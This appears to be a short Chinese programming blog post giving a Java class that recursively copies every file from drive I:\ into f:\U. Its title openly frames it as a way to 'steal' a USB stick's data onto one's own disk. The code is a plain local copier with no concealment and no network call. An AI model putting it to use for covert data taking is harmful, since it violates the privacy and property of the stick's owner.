public class Demo10 { public static void Copy(File path) throws IOException { //目标复制的地方 File des=new File("f:\\U"); File[] fi=path.listFiles(); if(null!=fi) { for(File temp:fi) { if(temp.isDirectory()) { Copy(temp); } else { FileOutputStream fos=new FileOutputStream(new File(des,temp.getName())); FileInputStream fis=new FileInputStream(temp); byte[] buffer=new byte[1024]; int len=-1; while((len=fis.read(buffer))>0) { fos.write(buffer, 0, len); } fos.close(); fis.close(); } } } else { System.out.println("没有找到文件"); } } public static void main(String[] args) throws IOException { File f=new File("I:\\"); Copy(f); } }
java偷u盘(把u盘中的数据挪到自己的盘上)
最新推荐文章于 2022-10-17 21:51:30 发布